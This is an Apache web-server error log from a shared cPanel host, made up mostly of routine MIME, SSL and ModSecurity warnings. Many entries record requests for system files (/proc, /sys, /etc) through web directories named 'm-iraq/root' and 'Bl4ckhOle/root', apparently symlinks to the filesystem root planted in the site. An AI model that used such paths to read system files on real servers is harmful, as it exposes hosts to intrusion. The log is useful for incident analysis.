[Fri Jul 17 08:19:12.842126 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:35308] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:13.594177 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:13.695373 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:13.786520 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/32-0/handle
[Fri Jul 17 08:19:13.885813 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:14.060143 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:14.064618 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:35384] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:14.241307 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:14.514559 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:08/eject
[Fri Jul 17 08:19:14.969904 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:08/eject
[Fri Jul 17 08:19:15.157355 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:15.248124 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:15.518917 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/named.conf.precpanelinstall
[Fri Jul 17 08:19:15.796616 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:16.161015 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:16.346781 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:14/subsystem/drivers/ec/bind
[Fri Jul 17 08:19:16.673602 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:35592] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:16.717536 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:16.806472 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:16.988403 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:17.276276 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:35624] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:17.354546 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:18.361859 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:18.456858 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty13/subsystem/ttyS0/device/driver/uevent
[Fri Jul 17 08:19:18.999573 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:19.091341 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:19.376644 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/serio/devices/serio1/driver/bind
[Fri Jul 17 08:19:19.639897 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:20.234365 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:06/eject
[Fri Jul 17 08:19:20.336566 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/3-0/handle
[Fri Jul 17 08:19:20.877280 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:21.337522 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:21.887232 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:06/eject
[Fri Jul 17 08:19:22.164828 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:13/subsystem/drivers/ac/bind
[Fri Jul 17 08:19:22.342635 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 57.141.18.4:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory0/subsystem/devices/memory143/subsystem/devices/memory75/subsystem/drivers_probe
[Fri Jul 17 08:19:22.446229 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:22.737892 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:22.829649 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:24.413657 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/16-0/handle
[Fri Jul 17 08:19:24.499536 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:24.774989 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:25.098590 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:00/subsystem/drivers/ec/bind
[Fri Jul 17 08:19:25.328483 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:25.330055 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXPWRBN:00/input/input0/device/power/"] [unique_id "almYNUhq6UAnqYko0LpVtAAAABE"]
[Fri Jul 17 08:19:25.330085 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXPWRBN:00/input/input0/device/power/"] [unique_id "almYNUhq6UAnqYko0LpVtAAAABE"]
[Fri Jul 17 08:19:25.516464 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:25.912339 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:25.924235 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:26.345619 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:26.440102 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:26.716777 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:19/subsystem/drivers/pvpanic/bind
[Fri Jul 17 08:19:26.807405 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:08/subsystem/drivers/ac/bind
[Fri Jul 17 08:19:26.926440 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:26.990416 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:27.486295 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:27.619461 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:27.631636 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:27.671601 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:27.963813 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:28.187003 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:28.732997 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:29.039790 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:37294] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:29.209402 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:29.209504 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:29.209551 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:29.209606 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:29.210025 2026] [security2:error] [pid 2008451:tid 2008451] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/lua/"] [unique_id "almYOQPhWp7RzB65h36dWQAAAA0"]
[Fri Jul 17 08:19:29.210065 2026] [security2:error] [pid 2008451:tid 2008451] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/lua/"] [unique_id "almYOQPhWp7RzB65h36dWQAAAA0"]
[Fri Jul 17 08:19:29.291108 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:29.384960 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:29.487104 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:29.555982 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.242.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php/ta/public/index.php/sn/preventionUnit/galleries/oral-cancer-banner"] [unique_id "almYOXt8zp89pALg8Q5jxAAAAA4"], referer: https://www.nccp.health.gov.lk/nccp/public/index.php/sn/preventionUnit/galleries/oral-cancer-banner
[Fri Jul 17 08:19:29.556030 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.242.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php/ta/public/index.php/sn/preventionUnit/galleries/oral-cancer-banner"] [unique_id "almYOXt8zp89pALg8Q5jxAAAAA4"], referer: https://www.nccp.health.gov.lk/nccp/public/index.php/sn/preventionUnit/galleries/oral-cancer-banner
[Fri Jul 17 08:19:29.576373 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:29.589394 2026] [core:crit] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/opt/i360_wafd_imunify/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/opt/i360_wafd_imunify/' is executable
[Fri Jul 17 08:19:29.757719 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:29.799094 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:29.940516 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:30.399535 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:30.585305 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:31.129911 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:31.586308 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:31.954924 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:32.392878 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:32.393547 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:32.510857 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:32.609355 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:32.718538 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:32.870977 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:32.947983 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:32.952774 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:32.964685 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:33.047660 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:33.237532 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:33.474309 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:33.667262 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:33.900464 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:34.076641 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:55304] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:34.191900 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:34.261822 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:34.317864 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:34.355414 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:34.444069 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:34.524131 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:55340] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:34.536971 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/LNXCPU:02/eject
[Fri Jul 17 08:19:34.627221 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:34.810357 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:34.855868 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:34.993692 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/subsystem/drivers/button/bind
[Fri Jul 17 08:19:35.094472 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/cl-convert-saved/systemid
[Fri Jul 17 08:19:35.277311 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:35.278673 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty5/subsystem/tty31/"] [unique_id "almYP6UJv0yl2bIgVrkL6QAAABU"]
[Fri Jul 17 08:19:35.278706 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty5/subsystem/tty31/"] [unique_id "almYP6UJv0yl2bIgVrkL6QAAABU"]
[Fri Jul 17 08:19:35.329238 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:55400] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:35.368663 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:35.647462 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:35.837127 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:36.202574 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:36.344163 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:36.490726 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 47.82.53.47:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/189:1/1-1:1.0/subsystem/drivers/usbhid/bind
[Fri Jul 17 08:19:36.568306 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:36.745020 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:36.752275 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:36.777675 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:36.845132 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:36.902003 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:36.933563 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:37.025263 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/drivers/hpet/bind
[Fri Jul 17 08:19:37.048596 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:37.168087 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:37.215298 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:55512] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:37.258411 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:37.258493 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:37.282956 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:37.300497 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:37.383064 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:37.390462 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:37.480780 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:37.755963 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:38.036761 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:38.126645 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/drivers/hpet/bind
[Fri Jul 17 08:19:38.282772 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:38.309701 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:38.349125 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:38.354173 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:38.394226 2026] [security2:error] [pid 1994956:tid 1994956] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almYQgG5-NXx3Mem1QgMzAAAAA8"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:19:38.394271 2026] [security2:error] [pid 1994956:tid 1994956] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almYQgG5-NXx3Mem1QgMzAAAAA8"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:19:38.401164 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:38.492155 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:38.582552 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:38.674235 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:38.947076 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:39.037979 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:39.128277 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:39.220264 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty5/subsystem/ttyS3/line
[Fri Jul 17 08:19:39.310683 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:39.404339 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:39.637439 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/hid/drivers/ntrig/unbind
[Fri Jul 17 08:19:39.686667 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:39.768935 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:39.981423 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:40.158376 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:40.171867 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:40.298375 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:40.298947 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:40.467181 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:40.499567 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:40.562757 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:40.689973 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:40.788320 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:40.864887 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
